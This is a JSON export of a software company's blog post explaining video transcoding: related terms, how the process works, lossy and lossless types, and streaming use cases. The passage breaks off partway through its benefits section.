{"id":4213,"date":"2024-01-08T06:37:18","date_gmt":"2024-01-08T06:37:18","guid":{"rendered":"https:\/\/www.revesoft.com\/blog\/?p=4213"},"modified":"2025-09-05T11:08:35","modified_gmt":"2025-09-05T11:08:35","slug":"what-is-transcoding","status":"publish","type":"post","link":"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/","title":{"rendered":"What is Transcoding? A Comprehensive Guide"},"content":{"rendered":"<p><span style=\"font-weight: 400;\">Did you know that \u201cYouTube processes over 500 hours of video every minute\u201d, watched by users on screens of all shapes and sizes? But who is the \u2018Behind-the-Scenes\u2019 Magician that makes this seamless playback across devices possible? Let&#8217;s give a thought to the famous saying of Steve Jobs &#8211; &#8220;Technology is nothing. What&#8217;s important is that you have faith in people, that they&#8217;re good and smart, and if you give them tools, they&#8217;ll do wonderful things with them.&#8221; Transcoding, indeed, is that tool.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">What is transcoding? Probably this is your very next question. In today&#8217;s world of digital and online video, transcoding is the technology that ensures that your favorite videos or content streams effortlessly from your phone to your smart TV. In this post, we will help you understand the fundamentals of Transcoding, how it works, and its importance for video streaming. By the end of this article, you will have a solid understanding of the promising role of this technology in delivering high-quality video content.\u00a0<\/span><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_42 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title\">Table of Contents<\/p>\n<span class=\"ez-toc-title-toggle\"><a href=\"#\" class=\"ez-toc-pull-right ez-toc-btn ez-toc-btn-xs ez-toc-btn-default ez-toc-toggle\" area-label=\"ez-toc-toggle-icon-1\"><label for=\"item-691d4ee2754f4\" aria-label=\"Table of Content\"><span style=\"display: flex;align-items: center;width: 35px;height: 30px;justify-content: center;direction:ltr;\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/label><input  type=\"checkbox\" id=\"item-691d4ee2754f4\"><\/a><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 eztoc-visibility-hide-by-default' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#What_is_Transcoding\" title=\"What is Transcoding?\">What is Transcoding?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Important_Terms_Related_to_Transcoding\" title=\"Important Terms Related to Transcoding\">Important Terms Related to Transcoding<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Transcoding_vs_Encoding\" title=\"Transcoding vs Encoding\">Transcoding vs Encoding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Transmuxing\" title=\"Transmuxing\">Transmuxing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Transrating\" title=\"Transrating\">Transrating<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Transsizing\" title=\"Transsizing\">Transsizing<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#How_does_Transcoding_Work\" title=\"How does Transcoding Work?\">How does Transcoding Work?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#The_First_Step_Decoding\" title=\"The First Step: Decoding\">The First Step: Decoding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Optional_Step_Modification\" title=\"Optional Step: Modification\">Optional Step: Modification<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Second_Step_Re-Encoding\" title=\"Second Step: Re-Encoding\">Second Step: Re-Encoding<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Why_Transcoding_is_Essential\" title=\"Why Transcoding is Essential?\">Why Transcoding is Essential?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Different_Types_of_Transcoding\" title=\"Different Types of Transcoding\u00a0\">Different Types of Transcoding\u00a0<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-13\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Lossy_To_Lossy\" title=\"Lossy To Lossy\">Lossy To Lossy<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-14\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Lossless_To_Lossless\" title=\"Lossless To Lossless\">Lossless To Lossless<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-15\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Lossless_To_Lossy\" title=\"Lossless To Lossy\">Lossless To Lossy<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-16\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#5_Use_Cases_of_Transcoding\" title=\"5 Use Cases of Transcoding\">5 Use Cases of Transcoding<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-17\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Streaming_Services_Netflix_and_Amazon_Prime\" title=\"Streaming Services (Netflix and Amazon Prime)\">Streaming Services (Netflix and Amazon Prime)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-18\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Social_Media_Platforms_YouTube_and_TikTok\" title=\"Social Media Platforms ( YouTube and TikTok)\">Social Media Platforms ( YouTube and TikTok)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-19\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Live_Broadcasting_Television_Networks\" title=\"Live Broadcasting (Television Networks)\">Live Broadcasting (Television Networks)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-20\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Cloud_Storage_Services_Google_Drive_and_DropBox\" title=\"Cloud Storage Services (Google Drive and DropBox)\">Cloud Storage Services (Google Drive and DropBox)<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-21\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Mobile_Applications_WhatsApp_and_Messager\" title=\"Mobile Applications (WhatsApp and Messager)\">Mobile Applications (WhatsApp and Messager)<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-22\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Benefits_of_Transcoding\" title=\"Benefits of Transcoding\">Benefits of Transcoding<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-23\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Transcoding_Benefits_for_Streamers\" title=\"Transcoding Benefits for Streamers\">Transcoding Benefits for Streamers<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-24\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Supports_Multiple_Formats\" title=\"Supports Multiple Formats\">Supports Multiple Formats<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-25\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Optimized_Content_Quality\" title=\"Optimized Content Quality\">Optimized Content Quality<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-26\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Increased_Reach_and_Accessibility\" title=\"Increased Reach and Accessibility\">Increased Reach and Accessibility<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-27\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Transcoding_Benefits_for_Viewers\" title=\"Transcoding Benefits for Viewers\">Transcoding Benefits for Viewers<\/a><ul class='ez-toc-list-level-4'><li class='ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-28\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Adaptive_Streaming\" title=\"Adaptive Streaming\">Adaptive Streaming<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-29\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Less_Buffering\" title=\"Less Buffering\">Less Buffering<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-4'><a class=\"ez-toc-link ez-toc-heading-30\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Improved_Accessibility\" title=\"Improved Accessibility\">Improved Accessibility<\/a><\/li><\/ul><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-31\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#How_Can_you_Transcode_your_Videos\" title=\"How Can you Transcode your Videos?\">How Can you Transcode your Videos?<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-32\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Using_Video_Platforms\" title=\"Using Video Platforms\">Using Video Platforms<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-33\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Go_for_On-Premise_Transcoding\" title=\"Go for On-Premise Transcoding\">Go for On-Premise Transcoding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-34\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Leverage_Cloud-based_Transcoding_Services\" title=\"Leverage Cloud-based Transcoding Services\">Leverage Cloud-based Transcoding Services<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-35\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#5_Best_Practices_for_Video_Transcoding\" title=\"5 Best Practices for Video Transcoding\">5 Best Practices for Video Transcoding<\/a><ul class='ez-toc-list-level-3'><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-36\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Implement_Two-Pass_VBR_Encoding\" title=\"Implement Two-Pass VBR Encoding\">Implement Two-Pass VBR Encoding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-37\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Understand_Your_Output_Requirements\" title=\"Understand Your Output Requirements\">Understand Your Output Requirements<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-38\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Use_Hardware_Acceleration_for_Fastened_Transcoding\" title=\"Use Hardware Acceleration for Fastened Transcoding\">Use Hardware Acceleration for Fastened Transcoding<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-39\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Use_Adaptive_Bitrate_Streaming\" title=\"Use Adaptive Bitrate Streaming\">Use Adaptive Bitrate Streaming<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-40\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Use_Bitrates_and_Resolutions_Wisely\" title=\"Use Bitrates and Resolutions Wisely\">Use Bitrates and Resolutions Wisely<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-41\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Considerations_for_Choosing_a_Transcoding_Service\" title=\"Considerations for Choosing a Transcoding Service\">Considerations for Choosing a Transcoding Service<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-42\" href=\"https:\/\/www.revesoft.com\/blog\/telecom\/what-is-transcoding\/#Key_Takeaway\" title=\"Key Takeaway\">Key Takeaway<\/a><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"What_is_Transcoding\"><\/span>What is Transcoding?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4246 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/transcoding-process.jpg\" alt=\"transcoding process\" width=\"866\" height=\"444\" \/><\/p>\n<p><span style=\"font-weight: 400;\">Transcoding is the process that converts audio and video files from one format into another. It optimizes the content for different devices so that it is accessible to a wide range of users.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">A real-life example will help you understand better. Let\u2019s take a look:<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Say, you have a movie file in HD format and you are streaming it on your smart TV. However, your internet connection cannot support streaming large-sized HD files smoothly. This is where the real-time transcoding is performed by the streaming service\u2019s servers. They convert the large movie file into a version they can support. The transcoded version might be in low resolution and is sent to your smart TV. This happens quite quickly ensuring a seamless viewing experience. Transcoding is done using a Transcoder, which in the above example is the server.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Important_Terms_Related_to_Transcoding\"><\/span>Important Terms Related to Transcoding<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Often transcoding is confused with various other terms that are related to it, but have different meanings. Let\u2019s understand these terms one by one:<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transcoding_vs_Encoding\"><\/span>Transcoding vs Encoding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Encoding or compression is compressing and formatting raw media files to convert them into smaller and more transferable versions. Transcoding on the other hand happens after encoding. It is the process where the files are de-encoded, converted into another digital format, and then re-encoded.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transmuxing\"><\/span>Transmuxing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Though transmuxing sounds similar to transcoding, these are different terms. Transmuxing is also termed as \u2018Repackaging\u2019, \u2018Transcode Multiplexing\u2019, \u2018Rewrapping\u2019. Transmuxing is the process of changing the container format of a video file without altering the actual content.\u00a0\u00a0\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Let&#8217;s say you have a video file with an MP4 container format (which contains H.264 video and AAC audio streams). When transmuxing is done, the container format gets changed from MP4 to a different one, like MOV or MKV, while keeping the video and audio streams unchanged. This alteration allows the same content to be compatible with different software or devices without actually changing the content&#8217;s encoding.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transrating\"><\/span>Transrating<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Transrating is also often termed Dynamic Rating. It is the process that involves changing the bitrate of an encoded video stream without altering its original resolution or format. This is done to fit particular files to a much smaller storage space or to adjust the bitrates to optimize file sizes or streaming quality.<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4250 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/bitrate-definition.jpg\" alt=\"bitrate definition\" width=\"687\" height=\"526\" \/><\/p>\n<p><span style=\"font-weight: 400;\">For example, let&#8217;s consider a high-definition video encoded at a very high bitrate, making it large in file size. By transrating this video, you might create a lower bitrate version of the same video, keeping the resolution intact but reducing the file size significantly. This lower bitrate version would be more suitable for streaming over slower internet connections without compromising resolution. However, it might result in some loss of quality due to the reduced bitrate.<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transsizing\"><\/span>Transsizing<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4251 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/what-is-resolution.jpg\" alt=\"what is resolution\" width=\"687\" height=\"526\" \/><\/p>\n<p><span style=\"font-weight: 400;\">It is the process of resizing the dimensions of frames of a video. The size is changed while maintaining the aspect ratio. It can be increased or decreased based on the specific streaming requirements. For instance, taking a high-resolution video, say in 4K (3840 \u00d7 2160 pixels), and transsizing it down to a lower resolution, like 1080p (1920 \u00d7 1080 pixels).<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Here\u2019s a comparison table of the terms mentioned above for a quick overview:<\/span><\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4243 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/Terms-related-to-Transcoding.jpg\" alt=\"Terms related to Transcoding\" width=\"687\" height=\"650\" \/><\/p>\n<h2><span class=\"ez-toc-section\" id=\"How_does_Transcoding_Work\"><\/span>How does Transcoding Work?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Now that we have learned about some of the key terms associated with this process, we shall move to the next section i.e. how does transcoding work? It is a multi-step process as explained below:\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"The_First_Step_Decoding\"><\/span>The First Step: Decoding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">It starts by decoding the original file which is already encoded. The file\u2019s encoded data is broken down into an uncompressed or intermediary format.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Optional_Step_Modification\"><\/span>Optional Step: Modification<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">When the file needs to be changed not only in terms of format but also resolution, bitrate, or codec, then this step is also performed. Here the file may be resized, compressed, or altered to the quality of the media.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Second_Step_Re-Encoding\"><\/span>Second Step: Re-Encoding<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">The decoded content is then re-encoded into a different format. It works by compressing and reformatting the file. This is in alignment with the specific device or platform where content will be streaming.\u00a0<\/span><\/p>\n<p><b>Example: <\/b><span style=\"font-weight: 400;\">Converting a high-resolution video encoded in the AVI format (using the H.264 codec) into a lower-resolution MP4 format (using the HEVC codec) for better compatibility and smaller file size suitable for mobile devices.<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Why_Transcoding_is_Essential\"><\/span>Why Transcoding is Essential?<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<blockquote><p><b><i>According to the latest online video consumption statistics, <\/i><\/b><a href=\"https:\/\/datareportal.com\/reports\/digital-2023-october-global-statshot\" target=\"_blank\" rel=\"noopener\"><b><i>92.3%<\/i><\/b><\/a><b><i> of <\/i><\/b><a href=\"https:\/\/www.oberlo.com\/statistics\/how-many-people-use-internet\"><b><i>internet users worldwide<\/i><\/b><\/a><b><i> watch digital videos each week. This refers to any kind of video\u2014from music videos and tutorials to gaming and influencer videos.<\/i><\/b><\/p><\/blockquote>\n<p><span style=\"font-weight: 400;\">Transcoding is an essential step in video content delivery. It ensures compatibility across a multitude of devices and resolves challenges related to format compatibility, screen sizes, resolution, and connectivity. We can say that if transcoding is not there then it will be almost impossible to enjoy seamless playback experiences. With the speed at which media consumption is evolving, this technology certainly becomes a necessity to ensure that content reaches and engages a broad audience while maintaining quality.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Different_Types_of_Transcoding\"><\/span>Different Types of Transcoding\u00a0<b><\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-4245 aligncenter\" src=\"https:\/\/www.revesoft.com\/blog\/wp-content\/uploads\/2024\/01\/types-of-transcoding.jpg\" alt=\"types of transcoding\" width=\"547\" height=\"376\" \/><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Lossy_To_Lossy\"><\/span>Lossy To Lossy<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">As the term suggests, this type of transcoding produces the lowest-quality audio or video files. This happens because you already have a low-quality file which when transcoded further lowers its quality. It lowers the bitrate and results in poor quality. However, quality is sacrificed because it saves storage space on portable devices such as tablets and smartphones. This type of compression technique is used only in cases when files of smaller sizes are required.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Lossless_To_Lossless\"><\/span>Lossless To Lossless<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">In this type, there is no loss of data quality. So when compression is done on an audio or video file, the quality remains the same. This is appropriate when you want to convert a file to a different format without compromising the quality. Lossless to Lossless transcoding implements better compression and good quality hardware to perform its functioning. However, the resulting files are often large in size, making them unsuitable for smaller or portable devices.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Lossless_To_Lossy\"><\/span>Lossless To Lossy<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Compared to lossy-to-lossy, this technique results in lesser degradation of quality when compressed. Though the resulting files in lossless-to-lossy are not as good in quality as lossless-to-lossless, they are small enough in size to be stored and accessed on portable devices. This is the reason why it is the most popular form of transcoding. It is important to note that once a file is compressed via lossless-to-lossy, the lost data cannot be retrieved.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Now you may be wondering whether there is a transcoding technique like lossy-to-lossless. The answer is no. There is no such transcoding.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"5_Use_Cases_of_Transcoding\"><\/span>5 Use Cases of Transcoding<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Now we will take a look at some real-life instances where transcoding plays a crucial role.<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Streaming_Services_Netflix_and_Amazon_Prime\"><\/span>Streaming Services (Netflix and Amazon Prime)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Netflix had around 247.2 million paid subscribers worldwide as of the third quarter of 2023. Imagine the amount of content consumed through this platform every single day. Such platforms use transcoding to convert high-resolution content into different formats that are suitable for streaming on devices with varying screen sizes and internet speeds. Netflix uses codecs like H.264\/AVC or H.265\/HEVC for transcoding. They also employ adaptive bitrate streaming (ABR) protocols like MPEG-DASH or HLS to deliver varying-quality streams.<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Social_Media_Platforms_YouTube_and_TikTok\"><\/span>Social Media Platforms ( YouTube and TikTok)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">With content consumption as crazy as a whirlwind, social media platforms like YouTube and Instagram also utilize transcoding using codecs like VP9 or H.264. to convert user-uploaded videos into suitable (1080p, 720p) and formats (MP4, WebM). Thus ensuring smooth and seamless playback across a wide range of devices like smartphones, tablets, and smart TVs.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Live_Broadcasting_Television_Networks\"><\/span>Live Broadcasting (Television Networks)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Live TV Broadcasting is the new frontier of instantaneous, interactive, and immersive content delivery. These services transcode live broadcasts by using MPEG-2, H.264, or H.265 codecs to ensure compatibility across varying devices and network conditions. Protocols like RTMP or HLS are employed for delivering live streamsSeamless streaming of sports matches and live concerts.\u00a0<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Cloud_Storage_Services_Google_Drive_and_DropBox\"><\/span>Cloud Storage Services (Google Drive and DropBox)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Google Drive has more than 2 billion active monthly users and more than 2 trillion files in its database, including videos, images, documents, etc. Behind these mind-blowing numbers lies the pivotal role of Transcoding. Cloud Storage services transcode uploaded videos to multiple formats, enabling users to stream or download files across various devices. Google Drive and Dropbox use codecs like H.264 or VP9 for transcoding<\/span><b><\/b><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Mobile_Applications_WhatsApp_and_Messager\"><\/span>Mobile Applications (WhatsApp and Messager)<span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Transcoding is used by mobile applications to compress and optimize video content before sending them. Some common codecs used in mobile applications for transcoding are H.264 (AVC) (widely supported), H.265 (HEVC) (offers better comp[ression but not universally supported), VP9 (developed by Google), AAC (used for audio compression).\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Benefits_of_Transcoding\"><\/span>Benefits of Transcoding<span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Transcoding offers several benefits to both streamers and viewers. Here\u2019s the explanation for each side:<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Transcoding_Benefits_for_Streamers\"><\/span>Transcoding Benefits for Streamers<b><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<ul>\n<li aria-level=\"1\">\n<h4><span class=\"ez-toc-section\" id=\"Supports_Multiple_Formats\"><\/span>Supports Multiple Formats<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">These days users have access to a wide array of devices and require different video formats. Encoding video files into different resolutions and bitrates can be a daunting task given the the large volume of viewership. Transcoding eliminates the incompatibility barriers and ensures successful streaming. It does so by delivering appropriately compressed files to users in a relatively short time and low cost for the streamers.\u00a0\u00a0<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\">\n<h4><span class=\"ez-toc-section\" id=\"Optimized_Content_Quality\"><\/span>Optimized Content Quality<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Streamers want to maintain control over the quality of their content across diverse platforms and devices. Transcoding enables them to optimize the same by delivering the best possible quality without compromising on user experience.\u00a0<\/span><b><\/b><\/p>\n<ul>\n<li aria-level=\"1\">\n<h4><span class=\"ez-toc-section\" id=\"Increased_Reach_and_Accessibility\"><\/span>Increased Reach and Accessibility<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<\/li>\n<\/ul>\n<p><span style=\"font-weight: 400;\">Poor internet speed often limits users from 